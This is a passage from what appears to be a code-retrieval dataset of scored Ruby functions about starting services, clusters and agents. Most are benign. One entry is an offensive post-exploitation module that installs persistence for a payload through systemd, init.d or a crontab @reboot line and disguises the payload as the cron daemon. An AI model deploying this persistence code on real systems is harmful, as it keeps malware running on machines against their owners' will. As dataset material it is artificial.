push\\n\\n\"\n puts \"*\" * 72\n rc = 1\n end\n print_runtime(t,'Total') \n\n return rc\nend",
"title": ""
},
{
"docid": "1c5b6a02e2d06eb7102b359b9b290860",
"score": "0.5724106",
"text": "def start\n Puppet.debug \"Call 'start' for Pacemaker service '#{name}' on node '#{hostname}'\"\n enable unless primitive_is_managed? name\n disable_basic_service\n constraint_location_add full_name, hostname\n unban_primitive name, hostname\n start_primitive full_name\n start_primitive name\n cleanup\n\n if primitive_is_multistate? name\n Puppet.debug \"Choose master start for Pacemaker service '#{name}'\"\n wait_for_master name\n else\n Puppet.debug \"Choose global start for Pacemaker service '#{name}'\"\n wait_for_start name\n end\n end",
"title": ""
},
{
"docid": "90f9e7cecbeab58d9160600988e6bdc7",
"score": "0.57087755",
"text": "def initialize_workers(options = {})\n # delete the master and workers and reload them everysingle time an analysis is initialized -- why NICK?\n ComputeNode.delete_all\n\n Rails.logger.info 'initializing workers'\n\n # load in the master and worker information if it doesn't already exist\n ip_file = '/home/ubuntu/ip_addresses'\n unless File.exist?(ip_file)\n ip_file = '/data/launch-instance/ip_addresses' # somehow check if this is a vagrant box -- RAILS ENV?\n end\n\n if File.exist? ip_file\n ips = File.read(ip_file).split(\"\\n\")\n ips.each do |ip|\n cols = ip.split('|')\n if cols[0] == 'master' # TODO: eventually rename this from master to server. The database calls this server\n node = ComputeNode.find_or_create_by(node_type: 'server', ip_address: cols[1])\n node.hostname = cols[2]\n node.cores = cols[3]\n node.user = cols[4]\n node.password = cols[5].chomp\n if options[:use_server_as_worker] && cols[6].chomp == 'true'\n node.valid = true\n else\n node.valid = false\n end\n node.save!\n\n logger.info(\"Server node #{node.inspect}\")\n elsif cols[0] == 'worker'\n node = ComputeNode.find_or_create_by(node_type: 'worker', ip_address: cols[1])\n node.hostname = cols[2]\n node.cores = cols[3]\n node.user = cols[4]\n node.password = cols[5].chomp\n node.valid = false\n if cols[6] && cols[6].chomp == 'true'\n node.valid = true\n end\n node.save!\n\n logger.info(\"Worker node #{node.inspect}\")\n end\n end\n end\n\n # get server and worker characteristics\n # 4/14/15 Disable for now because there is not easy way to get this data back to the server without having\n # to ssh into the box from the server user (nobody). Probably move this over to the worker initialization script.\n # ComputeNode.system_information\n end",
"title": ""
},
{
"docid": "d69c8caf3eddfd5072777c7181ebf53b",
"score": "0.568532",
"text": "def launch_minimum_number_of_instances \n if can_start_a_new_instance? && !minimum_number_of_instances_are_running? \n list_of_pending_instances.size == 0 ? request_launch_one_instance_at_a_time : wait(\"5.seconds\")\n reset!\n launch_minimum_number_of_instances\n provision_slaves_from_n(minimum_instances.to_i)\n after_launched\n end\n end",
"title": ""
},
{
"docid": "4a127ddc49e69d8dcea8fa9b488b94b5",
"score": "0.5677545",
"text": "def start_supervised\n process.supervise do\n Karafka::App.run!\n Karafka::Fetcher.new.fetch_loop\n end\n end",
"title": ""
},
{
"docid": "4a127ddc49e69d8dcea8fa9b488b94b5",
"score": "0.5677545",
"text": "def start_supervised\n process.supervise do\n Karafka::App.run!\n Karafka::Fetcher.new.fetch_loop\n end\n end",
"title": ""
},
{
"docid": "09bb98b807d66cfd741472e2a3579660",
"score": "0.55871695",
"text": "def load_from_file\n # delete the master and workers and reload them every\n # single time an analysis is initialized\n # Todo: do not delete all the compute nodes\n ComputeNode.destroy_all\n\n logger.info 'initializing workers'\n\n # load in the master and worker information if it doesn't already exist\n ip_file = '/home/ubuntu/ip_addresses'\n unless File.exist?(ip_file)\n ip_file = '/data/launch-instance/ip_addresses' # somehow check if this is a vagrant box -- RAILS ENV?\n end\n\n if File.exist? ip_file\n ips = File.read(ip_file).split(\"\\n\")\n ips.each do |ip|\n cols = ip.split('|')\n # TODO: rename this from master to server. The database calls this server\n if cols[0] == 'master'\n node = ComputeNode.find_or_create_by(node_type: 'server', ip_address: cols[1])\n node.hostname = cols[2]\n node.cores = cols[3]\n node.user = cols[4]\n node.password = cols[5].chomp\n node.enabled = cols[6].chomp == 'true'\n node.save!\n\n logger.info(\"Server node #{node.inspect}\")\n elsif cols[0] == 'worker'\n node = ComputeNode.find_or_create_by(node_type: 'worker', ip_address: cols[1])\n node.hostname = cols[2]\n node.cores = cols[3]\n node.user = cols[4]\n node.password = cols[5].chomp\n node.enabled = false\n if cols[6] && cols[6].chomp == 'true'\n node.enabled = true\n end\n node.save!\n\n logger.info(\"Worker node #{node.inspect}\")\n end\n end\n end\n\n # get server and worker characteristics\n # 4/14/15 Disable for now because there is not easy way to get this data back to the server without having\n # to ssh into the box from the server user (nobody). Probably move this over to the worker initialization script.\n # ComputeNode.system_information\n end",
"title": ""
},
{
"docid": "96070c93083e64fb6cb6a844ab6c3ff0",
"score": "0.558587",
"text": "def createAndRun\n puts \"Start initialize instance #{@id}....\"\n if @ami.nil?\n createInstance()\n else\n createInstance(@ami.id)\n end\n attachVolume()\n allocateStaticIp()\n puts \"instance #{@id} is good to go!\"\n end",
"title": ""
},
{
"docid": "e3f763bd4fb4bfce394d4feac96f7a3d",
"score": "0.5582292",
"text": "def startup_sequence\n fe_servers.each { |s| obj_behavior(s, :start) }\n fe_servers.each { |s| obj_behavior(s, :wait_for_operational_with_dns) }\n \n set_var(:set_lb_hostname)\n\n app_servers.each { |s| obj_behavior(s, :start) }\n app_servers.each { |s| obj_behavior(s, :wait_for_operational_with_dns) }\n end",
"title": ""
},
{
"docid": "ceb430aff48498061f540df7608a8670",
"score": "0.5543643",
"text": "def start_and_wait!\n # register handler before starting cluster\n register_shutdown_handler\n # start the cluster\n start\n # Wait for all child processes to end then return\n Process.waitall\n end",
"title": ""
},
{
"docid": "de06ea85509ecdabf3870756b3533a6c",
"score": "0.55399513",
"text": "def drb_start\n @run_result = @results_database.get_run_result\n @controller = Controller.new\n @controller.start_services\n\n @server = DRb.start_service(nil, @controller)\n @results_database.set_run_property(@run_result, 'manager_uri', @server.uri)\n\n @logger.debug(\"Process manager started : #{@server.uri}\")\n end",
"title": ""
},
{
"docid": "ff3a7cb9a303cae251ee729afde680b8",
"score": "0.55238634",
"text": "def deriver_install\n install_mycnf_config\n install_init_dbsql\n install_vitess_binary\n install_service\n start_service\n end",
"title": ""
},
{
"docid": "f2993d6f3482658ce449beb1f83e1f49",
"score": "0.5522004",
"text": "def start\n setup_redis\n setup_transport\n setup_transport_check\n bootstrap\n end",
"title": ""
},
{
"docid": "88ed1104908064afaff4244c5b952cec",
"score": "0.5521553",
"text": "def initialize(agent)\n @agent = agent\n @agent_identity = agent.identity\n\n # invoke the bundles queue factory method as an assist to testing.\n @bundle_queue_closed_callback = nil\n @bundle_queue = self.class.create_bundle_queue { @bundle_queue_closed_callback.call }\n\n # Wait until instance setup actor has initialized the instance state\n # We need to wait until after the InstanceSetup actor has run its\n # bundle in the Chef thread before we can use it\n EM.next_tick do\n if RightScale::InstanceState.value != 'booting'\n @bundle_queue.activate\n else\n RightScale::InstanceState.observe { |s| @bundle_queue.activate if s != 'booting' }\n end\n end\n end",
"title": ""
},
{
"docid": "f6e58ebeec3cd9867a2dbd4815ff54d3",
"score": "0.55147713",
"text": "def start_agent\n begin\n @options[:root] = gen_agent_dir(@options[:agent])\n\n # Register exception handler\n @options[:callbacks] = { :exception => lambda { |e, msg, _| AgentManager.process_exception(e, msg) } }\n\n # Override default status proc for windows instance since \"uptime\" is not available.\n if RightLinkConfig[:platform].windows?\n @options[:status_proc] = lambda { 1 }\n end\n\n puts \"#{name} started.\"\n\n EM.error_handler do |e|\n msg = \"EM block execution failed with exception: #{e.message}\"\n RightLinkLog.error(msg + \"\\n\" + e.backtrace.join(\"\\n\"))\n end\n\n EM.run do\n @@agent = Agent.start(@options)\n end\n\n rescue SystemExit\n raise # Let parents of forked (daemonized) processes die\n rescue Exception => e\n puts \"#{name} failed with: #{e.message} in \\n#{e.backtrace.join(\"\\n\")}\"\n end\n true\n end",
"title": ""
},
{
"docid": "603ca061052313c30553204cb0615b09",
"score": "0.55131036",
"text": "def start\n Netgen.log_info('netgen: starting topology')\n generate_pids_file\n Netgen.plugins.each(&:topology_start)\n @nodes.values.each(&:start)\n Netgen.log_info('netgen: topology started')\n end",
"title": ""
},
{
"docid": "a97141f08801115cf34201299797ee1b",
"score": "0.55112594",
"text": "def ls_stage1\n\n session = client\n sysnfo = session.sys.config.sysinfo\n stime = datastore['START_TIME'] # 8 (sec to start the agent)\n remote_path = datastore['REMOTE_PATH'] # /root/agent\n\n\n\n# ---------------------------------------------------\n# Using systemd service creation\n# ---------------------------------------------------\nif datastore['SYSTEMD'] == true\n# make sure all options needed by this fuction are set\nif datastore['REMOTE_PATH'] == 'nil' || datastore['RPATH_SYSTEMD'] == 'nil'\n print_error(\"[ERROR] set REMOTE_PATH | RPATH_SYSTEMD options before continue.\")\n return nil\nend\n\n\n# prevent other pesistence functions from runing.\nif datastore['INITD'] == true || datastore['CRONTAB'] == true\n print_error(\"[ERROR] unset INITD and CRONTAB options before continue.\")\n print_warning(\"we can only run one persistence technic at a time.\")\n return nil\nend\nprint_status(\"Persist: #{remote_path} on target system.\")\nRex::sleep(1.0)\n\n #\n # Check if persistence its allready active ..\n #\n serv_path = datastore['RPATH_SYSTEMD'] #/etc/systemd/system\n serv_file = \"#{serv_path}/persistence.service\"\n if session.fs.file.exist?(serv_file)\n print_error(\"systemd: #{serv_file} found.\")\n print_warning(\"Post-module reports that persistence its active.\")\n return nil\n end\n #\n # Check if agent its deployed (remote) ..\n #\n unless session.fs.file.exist?(remote_path)\n print_error(\"agent: #{remote_path} not found.\")\n print_warning(\"Please upload your agent before running this funtion.\")\n return nil\n else\n print_status(\"Remote payload absoluct path found.\")\n Rex::sleep(1.0)\n end\n\n #\n # This is the systemd script that provides persistence on startup ..\n #\n print_status(\"Writing systemd persistence startup script.\")\n Rex::sleep(1.0)\n\n systemd_data =\n \"[Unit]\\n\" +\n \"After=network.target network-online.target\\n\" +\n \"[Service]\\n\" +\n \"ExecStart=#{remote_path}\\n\" +\n \"[Install]\\n\" +\n \"WantedBy=default.target\"\n\n path = \"#{serv_file}\"\n fd = session.fs.file.new(path, 'wb')\n fd.write(systemd_data)\n fd.close\n print_status(\"Service path: #{serv_file}\")\n Rex::sleep(1.0)\n\n #\n # Config systemd startup service (chmod + daemon-reload + systemctl enable)\n #\n if session.fs.file.exist?(serv_file)\n print_status(\"Config systemd persistence script.\")\n cmd_exec(\"chmod 664 #{serv_file}\")\n Rex::sleep(1.0)\n print_status(\"Reloading systemctl daemon.\")\n cmd_exec(\"systemctl daemon-reload\")\n Rex::sleep(1.0)\n print_status(\"Enable systemctl service.\")\n cmd_exec(\"systemctl enable persistence.service\")\n Rex::sleep(1.5)\n #\n # final displays to user\n #\n print_good(\"Persistence achieved on: #{sysnfo['Computer']}\")\n Rex::sleep(1.0)\n print_warning(\"To start service: systemctl start persistence.service\")\n Rex::sleep(1.0)\n else\n print_error(\"systemd script: #{serv_file} not found.\")\n print_warning(\"Persistence on: #{sysnfo['Computer']} not achieved.\")\n return nil\n end\n\n\n #\n # build logfile\n #\n f = []\n rand = Rex::Text.rand_text_alpha(5)\n loot_folder = datastore['LOOT_FOLDER']\n File.open(\"#{loot_folder}/persistence_#{rand}.log\", \"w\") do |f|\n f.write(\"# kali_initd_persistence\\n\")\n f.write(\"####\\n\")\n f.write(\"service: systemd\\n\")\n f.write(\"service path: #{serv_file}\\n\")\n f.write(\"payload: #{remote_path}\")\n f.close\n end\n print_warning(\"logfile stored: #{loot_folder}/persistence_#{rand}.log\")\nend\n\n\n\n# ---------------------------------------------------\n# use init.d service creation\n# ---------------------------------------------------\nif datastore['INITD'] == true\n# make sure all options needed by this fuction are set\nif datastore['REMOTE_PATH'] == 'nil' || datastore['INIT_PATH'] == 'nil' || datastore['START_TIME'] == 'nil'\n print_error(\"[ERROR] set REMOTE_PATH | INIT_PATH | START_TIME options before continue.\")\n return nil\nend\n\n\n# prevent other pesistence functions from runing.\nif datastore['SYSTEMD'] == true || datastore['CRONTAB'] == true\n print_error(\"[ERROR] unset SYSTEMD and CRONTAB options before continue.\")\n print_warning(\"we can only run one persistence technic at a time.\")\n return nil\nend\nprint_status(\"Persist: #{remote_path} on target system.\")\nRex::sleep(1.0)\n\n #\n # Check if persistence its allready active ..\n #\n init = datastore['INIT_PATH'] # /etc/init.d\n script_check = \"#{init}/persistance\" # /etc/init.d/persistance\n if session.fs.file.exist?(script_check)\n print_error(\"init.d: #{script_check} found.\")\n print_warning(\"Post-module reports that persistence its active.\")\n return nil\n end\n #\n # Check if agent its deployed (remote) ..\n #\n unless session.fs.file.exist?(remote_path)\n print_error(\"agent: #{remote_path} not found.\")\n print_warning(\"Please upload your agent before running this funtion.\")\n return nil\n else\n print_status(\"Remote payload absoluct path found.\")\n Rex::sleep(1.0)\n end\n\n #\n # Sellect how agent will execute (in persistence script call)\n #\n if datastore['SHEBANG'] == true\n print_warning(\"Payload with shebang sellected.\")\n Rex::sleep(1.0)\n #\n # If used agents with SHEBANG (eg #!/usr/bin/python)\n # TODO: Check Extensions execution using bash ( elf | sh | py | rb | pl ) \n #\n if remote_path =~ /.elf/\n print_status(\"Payload extension sellected: .elf\")\n trigger = \".\"\n elsif remote_path =~ /.sh/\n print_status(\"Payload extension sellected: bash\")\n trigger = \"sh \"\n elsif remote_path =~ /.py/\n print_status(\"Payload extension sellected: python\")\n trigger = \"python \"\n elsif remote_path =~ /.rb/\n print_status(\"Payload extension sellected: ruby\")\n trigger = \"ruby \"\n elsif remote_path =~ /.pl/\n print_status(\"Payload extension sellected: perl\")\n trigger = \"perl \"\n else\n print_error(\"Payload extension not supported.\")\n print_warning(\"Please use [sh|elf|py|rb|pl] payload extensions.\")\n print_warning(\"OR set 'SHELBANG false' to execute payload: ./root/agent\")\n return nil\n end\n #\n # WITHOUTH-SHEBANG-AGENTS-EXECUTION (most of venom v1.0.13 builds)\n # Default way to execute one agent shelbang free: ./root/agent\n #\n else\n trigger = \".\"\n end\n\n #\n # This is the init.d script that provides persistence on startup ..\n #\n print_status(\"Writing init.d persistence startup script.\")\n Rex::sleep(1.0)\n\n initd_data =\n \"#!/bin/sh\\n\" +\n \"### BEGIN INIT INFO\\n\" +\n \"# Provides: persistence on kali\\n\" +\n \"# Required-Start: $network $local_fs $remote_fs\\n\" +\n \"# Required-Stop: $remote_fs $local_fs\\n\" +\n \"# Default-Start: 2 3 4 5\\n\" +\n \"# Default-Stop: 0 1 6\\n\" +\n \"# Short-Description: Persiste your agent in kali linux distros.\\n\" +\n \"# Description: Allows users to persiste your binary (elf) in kali linux systems\\n\" +\n \"### END INIT INFO\\n\" +\n \"# Give a little time to execute agent\\n\" +\n \"sleep #{stime} > /dev/null\\n\" +\n \"#{trigger}#{remote_path}\"\n\n path = \"#{script_check}\"\n fd = session.fs.file.new(path, 'wb')\n fd.write(initd_data)\n fd.close\n print_status(\"Remote service path: #{script_check}\")\n Rex::sleep(1.0)\n\n #\n # Config init.d startup service (chmod + update-rc.d)\n #\n if session.fs.file.exist?(script_check)\n print_status(\"Config init.d persistence script.\")\n cmd_exec(\"chmod 755 #{script_check}\")\n Rex::sleep(1.0)\n print_status(\"Update init.d service status (symlinks).\")\n # update-rc.d persistance defaults # 97 03\n cmd_exec(\"update-rc.d persistance defaults\")\n Rex::sleep(1.5)\n # final displays\n print_good(\"Persistence achieved on: #{sysnfo['Computer']}\")\n Rex::sleep(1.0)\n else\n print_error(\"init.d script: #{script_check} not found.\")\n print_warning(\"Persistence on: #{sysnfo['Computer']} not achieved.\")\n return nil\n end\n\n\n #\n # build logfile\n #\n f = []\n rand = Rex::Text.rand_text_alpha(5)\n loot_folder = datastore['LOOT_FOLDER']\n File.open(\"#{loot_folder}/persistence_#{rand}.log\", \"w\") do |f|\n f.write(\"# kali_initd_persistence\\n\")\n f.write(\"####\\n\")\n f.write(\"service: init.d\\n\")\n f.write(\"service path: #{script_check}\\n\")\n f.write(\"payload: #{remote_path}\")\n f.close\n end\n print_warning(\"logfile stored: #{loot_folder}/persistence_#{rand}.log\")\nend\n\n\n\n# ---------------------------------------------------\n# use crontab service creation\n# ---------------------------------------------------\nif datastore['CRONTAB'] == true\n# make sure all options needed by this fuction are set\nif datastore['REMOTE_PATH'] == 'nil' || datastore['CRON_PATH'] == 'nil'\n print_error(\"[ERROR] set REMOTE_PATH | CRON_PATH options before continue.\")\n return nil\nend\n\n\n# prevent other pesistence functions from runing.\nif datastore['INITD'] == true || datastore['SYSTEMD'] == true\n print_error(\"[ERROR] unset INITD and SYSTEMD options before continue.\")\n print_warning(\"we can only run one persistence technic at a time.\")\n return nil\nend\nprint_status(\"Persist: #{remote_path} on target system.\")\nRex::sleep(1.0)\n\n #\n # Check if crontab file exists ..\n #\n sysnfo = session.sys.config.sysinfo\n serv_file = datastore['CRON_PATH'] # /etc/crontab\n if session.fs.file.exist?(serv_file)\n print_status(\"Remote path: #{serv_file} found.\")\n Rex::sleep(1.0)\n else\n print_error(\"Remote path: #{serv_file} not found.\")\n return nil\n end\n #\n # Check if agent its deployed (remote) ..\n #\n unless session.fs.file.exist?(remote_path)\n print_error(\"Payload: #{remote_path} not found.\")\n print_warning(\"Please upload your payload before running this funtion.\")\n return nil\n else\n print_status(\"Remote payload absoluct path found.\")\n Rex::sleep(1.0)\n end\n\n\n #\n # mitre ATT&CK T1036 [masquerade]\n # Copies sh script, renames it as crond, to masquerade as the cron daemon.\n #\n if datastore['CRON_MASQUERADE'] == true\n print_good(\"Mitre ATT&CK T1036 [masquerade as cron daemon]\")\n Rex::sleep(1.0)\n if remote_path =~ /.sh/\n # rename remote file to crond (cron file)\n print_status(\"Renaming: #{remote_path} to: /tmp/crond\")\n client.fs.file.mv(\"#{remote_path}\",\"/tmp/crond\")\n remote_path = \"/tmp/crond\"\n Rex::sleep(1.0)\n else\n print_error(\"This function only accepts payloads.sh (bash)\")\n Rex::sleep(1.0)\n print_warning(\"Using: #{remote_path} as payload name.\")\n Rex::sleep(1.5)\n end\n end\n\n #\n # This is the crontab command that provides persistence on startup ..\n #\n print_status(\"Writing crontab schedule task (@reboot).\")\n Rex::sleep(1.0)\n print_status(\"Executing: echo \\\"@reboot \\* \\* \\* \\* root #{remote_path}\\\" >> #{serv_file}\")\n cmd_exec(\"echo \\\"@reboot * * * * root #{remote_path}\\\" >> #{serv_file}\")\n Rex::sleep(1.0)\n print_status(\"Remote reload crontab daemon.\")\n cmd_exec(\"sudo service cron reload\")\n Rex::sleep(1.0)\n\n # final displays\n print_good(\"Persistence achieved on: #{sysnfo['Computer']}\")\n Rex::sleep(1.0)\n print_warning(\"Payload: #{remote_path} will execute at every reboot.\")\n Rex::sleep(1.0)\nend\n\n #\n # build logfile\n #\n f = []\n rand = Rex::Text.rand_text_alpha(5)\n loot_folder = datastore['LOOT_FOLDER']\n File.open(\"#{loot_folder}/persistence_#{rand}.log\", \"w\") do |f|\n f.write(\"# kali_initd_persistence\\n\")\n f.write(\"####\\n\")\n f.write(\"service: crontab\\n\")\n f.write(\"service path: #{serv_file}\\n\")\n f.write(\"payload: #{remote_path}\")\n f.close\n end\n print_warning(\"logfile stored: #{loot_folder}/persistence_#{rand}.log\")\nend",
"title": ""
},
{
"docid": "5d6f53fb98eb9c56140a5b1c6c1a8daf",
"score": "0.54956007",
"text": "def load_data\n [\n ProjectLoader.new(@vuln_git_dir),\n GitLoader.new(@mining_git_dir, @vuln_git_dir),\n # CodeNoteLoader.new(@vuln_git_dir),\n # ReleaseLoader.new(@vuln_git_dir),\n VulnerabilityLoader.new(@vuln_git_dir),\n CurationTemplateLoader.new(@vuln_git_dir),\n ].each do |loader|\n @logger.info \"Running #{loader.class}...\"\n loader.load_data\n GC.start # triggering garbage collection\n end\n end",
"title": ""
},
{
"docid": "3ad18fd3de6598b1f61d294d75e0fc3d",
"score": "0.5474451",
"text": "def install_agent\n # if the agent container is not running, start it\n unless @machine.communicate.test('sudo docker inspect rancher-agent')\n # retrieve the default project id\n project_id = @rancher.get_project_id @config.project\n raise Errors::ProjectNotFound if project_id.nil?\n\n # retrieve the registration token\n @machine.ui.detail 'Retrieving agent registration command...'\n registration_token = @rancher.get_registration_token project_id\n raise Errors::RegistrationTokenMissing if registration_token.nil?\n\n docker_cmd = registration_token['command']\n\n # apply a default label with the machine id used for\n # checking that the agent has indeed registered the host\n labels = \"id=#{@machine.id}\"\n # apply and additional host labels\n unless config.labels.nil?\n labels = \"#{labels}&#{config.labels.join('&')}\"\n end\n\n extra_args = \"-e 'CATTLE_HOST_LABELS=#{labels}' --name rancher-agent-bootstrap\"\n unless config.agent_args.nil?\n extra_args = \"#{extra_args} #{config.agent_args}\"\n end\n\n docker_cmd = docker_cmd.sub('docker run', \"docker run #{extra_args}\")\n\n # pull rancher agent image if its not already there\n image_check_cmd = \"sudo docker images | awk '{ print $1\\\":\\\"$2 }' | grep -q #{registration_token['image']}\"\n unless @machine.communicate.test(image_check_cmd)\n @machine.ui.info \"Pulling Rancher agent image: #{registration_token['image']}...\"\n unless @machine.communicate.sudo(\"docker pull #{registration_token['image']}\")\n @machine.ui.error \"Could not pull Rancher agent image\"\n raise Errors::RancherServerContainer\n end\n end\n\n # start the agent container\n @machine.ui.info \"Starting agent container: #{registration_token['image']}...\"\n unless @machine.communicate.sudo(docker_cmd)\n @machine.ui.error 'Could not start Rancher agent container'\n raise Errors::RancherAgentContainer\n end\n\n # wait for the agent to register the host in rancher (checks\n # for the @machine.id in the host labels)\n @machine.ui.detail 'Waiting for agent to register...'\n unless @rancher.wait_for_agent project_id, @machine.id\n raise Errors::AgentRegistrationTimeout,\n :host => @config.hostname,\n :port => @config.port\n end\n end\n end",
"title": ""
},
{
"docid": "6bd8e35fb99117bd36cf7bcb4ce3fbee",
"score": "0.5465468",
"text": "def start\n @should_keep_members_alive = true\n log_message \"Starting #{@size} subprocesses...\"\n @size.times { |i| start_cluster_member_on_port(@base_port + i + 1) }\n log_message \"Cluster started.\"\n @life_thread = Thread.new { sleep }\n @life_thread.join\n log_message \"Shutting down...\"\n @should_keep_members_alive = false\n @cluster_members.each { |port, member| member.die! }\n log_message \"Cluster stopped.\"\n end",
"title": ""
},
{
"docid": "ace55dc81837376bc6747ca19c80579a",
"score": "0.5453115",
"text": "def create_package\n #TODO: Deal with fpm output\n create_dependencies if @dependencies\n FPM::Program.new.run params(\"agent\") if @agent\n FPM::Program.new.run params(\"client\") if @application\n end",
"title": ""
},
{
"docid": "5b9d844642568f132f3ae380542371c1",
"score": "0.54502827",
"text": "def start(ip_addresses)\n @r.command(ips: ip_addresses.to_dataframe) do\n %{\n print(\"Starting cluster...\")\n print(paste(\"Worker IPs:\", ips))\n if (nrow(ips) == 0) {\n stop(options(\"show.error.messages\"=\"No Worker Nodes\"),\" No Worker Nodes\")\n }\n uniqueips <- unique(ips)\n numunique <- nrow(uniqueips) * 180\n print(paste(\"max timeout is:\",numunique))\n timeflag <<- TRUE;\n res <- NULL;\n starttime <- Sys.time()\n tryCatch({\n res <- evalWithTimeout({\n cl <- makePSOCKcluster(ips[,1], master='openstudio.server', outfile=\"/tmp/snow.log\")\n }, timeout=numunique);\n }, TimeoutException=function(ex) {\n cat(\"#{@analysis_id} Timeout\\n\");\n timeflag <<- FALSE;\n file.create('rtimeout')\n stop\n })\n endtime <- Sys.time()\n timetaken <- endtime - starttime\n print(paste(\"R cluster startup time:\",timetaken))\n\n print(paste(\"whoami:\",system('whoami', intern = TRUE)))\n print(paste(\"PATH:\",Sys.getenv(\"PATH\")))\n print(paste(\"RUBYLIB:\",Sys.getenv(\"RUBYLIB\")))\n print(paste(\"R_HOME:\",Sys.getenv(\"R_HOME\")))\n print(paste(\"R_ENVIRON:\",Sys.getenv(\"R_ENVIRON\")))\n print(\"Cluster started\")\n }\n end\n\n @started = @r.converse('timeflag')\n @started\n end",
"title": ""
},
{
"docid": "069472053806175df3360be57e2100d5",
"score": "0.54462254",
"text": "def starting(agent)\n end",
"title": ""
},
{
"docid": "caa3846af64da9dc2d2ea9d47b58648d",
"score": "0.5439771",
"text": "def prepare_for_installation\n if new_resource.response_file && preseed_file = get_preseed_file(package_names_for_targets, versions_for_targets)\n converge_by(\"preseed package #{package_names_for_targets}\") do\n preseed_package(preseed_file)\n end\n end\n end",
"title": ""
},
{
"docid": "b92fc7c229cb5d0bddbfb6414de659a1",
"score": "0.5436758",
"text": "def start\n bootstrap if bootstrap_neccessary?\n execute( start_command )\n end",
"title": ""
},
{
"docid": "972c1b85750a12ea23f8364050d9ae1a",
"score": "0.54131967",
"text": "def start_workers\n load_code\n num_workers = @options[:num_workers] || CloudCrowd.config[:num_workers]\n num_workers.times do\n `CLOUD_CROWD_CONFIG='#{File.expand_path(@options[:config_path] + \"/config.yml\")}' ruby #{WORKER_RUNNER} start`\n end\n end",
"title": ""
},
{
"docid": "1687d2a395c5ecd286f3e69e8fbe0ec3",
"score": "0.5409601",
"text": "def start_instruments\n logger.debug \"Installing instrumentation\"\n load_instruments\n end",
"title": ""
},
{
"docid": "1687d2a395c5ecd286f3e69e8fbe0ec3",
"score": "0.5409601",
"text": "def start_instruments\n logger.debug \"Installing instrumentation\"\n load_instruments\n end",
"title": ""
},
{
"docid": "97e6f7230ec0945646333c2e7319807e",
"score": "0.539317",
"text": "def start\n debug \"Call 'start' for Pacemaker service '#{name}' on node '#{hostname}'\"\n disable_basic_service_on_action :start\n\n enable unless primitive_is_managed? name\n\n if pacemaker_options[:cleanup_on_start]\n if !pacemaker_options[:cleanup_only_if_failures] || primitive_has_failures?(name, hostname)\n cleanup\n end\n end\n\n if pacemaker_options[:add_location_constraint]\n service_location_add full_name, hostname unless service_location_exists? full_name, hostname\n end\n\n unban_primitive name, hostname\n start_primitive name\n start_primitive full_name\n\n if primitive_is_master? name\n debug \"Choose master start for Pacemaker service '#{name}'\"\n wait_for_master name\n else\n service_start_mode pacemaker_options[:start_mode_simple]\n end\n debug cluster_debug_report \"#{@resource} start\"\n end",
"title": ""
},
{
"docid": "1547ac6f13bff032bb654245db740681",
"score": "0.5385321",
"text": "def start!\n supervisor = nil\n begin\n require 'carnivore/supervisor'\n configure!(:verify)\n supervisor = Carnivore::Supervisor.build!\n Carnivore::Logger.info 'Initializing all registered sources.'\n [].tap do |register|\n Source.sources.each do |source|\n register << Thread.new do\n supervisor.supervise_as(\n source.source_hash[:name],\n source.klass,\n source.source_hash.dup\n )\n end\n end\n end.map(&:join)\n Carnivore::Logger.info 'Source initializations complete. Running setup and establishing connections.'\n Source.sources.each do |source|\n supervisor[source.source_hash[:name]].run_setup\n supervisor[source.source_hash[:name]].run_connect\n end\n Carnivore::Logger.info 'Sources setup and connected. Enabling message processing.'\n Source.sources.each do |source|\n if(source.source_hash.fetch(:auto_process, true))\n supervisor[source.source_hash[:name]].start!\n end\n end\n loop do\n # We do a sleep loop so we can periodically check on the\n # supervisor and ensure it is still alive. If it has died,\n # raise exception to allow cleanup and restart attempt\n gc_interval = Carnivore::Config.fetch(:carnivore, :garbage_interval, 30)\n gc_last = Time.now.to_i\n while(supervisor.alive?)\n sleep Carnivore::Config.get(:carnivore, :supervisor, :poll) || 5\n if(gc_interval && (Time.now.to_i - gc_last) > gc_interval)\n Carnivore::Logger.debug 'Starting interval forced garbage collection from runner'\n GC.start\n gc_last = Time.now.to_i\n end\n end\n Carnivore::Logger.error 'Carnivore supervisor has died!'\n raise Carnivore::Error::DeadSupervisor.new\n end\n rescue Carnivore::Error::DeadSupervisor\n Carnivore::Logger.warn \"Received dead supervisor exception. Attempting to restart.\"\n begin\n supervisor.terminate if supervisor.alive?\n rescue => e\n Carnivore::Logger.debug \"Exception raised during supervisor termination (restart cleanup): #{e}\"\n end\n Carnivore::Logger.debug \"Pausing restart for 10 seconds to prevent restart thrashing cycles\"\n sleep 10\n retry\n rescue Exception => e\n Carnivore::Logger.warn \"Exception type encountered forcing shutdown - #{e.class}: #{e}\"\n Carnivore::Logger.debug \"Shutdown exception info: #{e.class}: #{e}\\n#{e.backtrace.join(\"\\n\")}\"\n Zoidberg.signal_shutdown = true\n supervisor.terminate if supervisor\n Carnivore::Logger.debug 'Carnivore supervisor has been teminated!'\n timeout = Carnivore::FORCE_SHUTDOWN_AFTER\n until(timeout <= 0 || Thread.list.size == 1)\n timeout -= 0.1\n sleep(0.1)\n end\n Thread.list.each do |thread|\n next if Thread.current == thread\n Carnivore::Logger.warn \"Force killing live thread for shutdown: #{thread.inspect}\"\n thread.kill\n end\n raise\n end\n end",
"title": ""
},
{
"docid": "6e6225b3f66a6b82f375b378997b7115",
"score": "0.53755575",
"text": "def initialize\n @count = {\n hosts: 300,\n vms: 600,\n dss: 500,\n clusters: 100,\n groups: 300\n }\n\n init_clusters\n init_dss\n init_hosts\n end",
"title": ""
},
{
"docid": "2e6a8ddc3f00d701d4a8879935b940c7",
"score": "0.5373964",
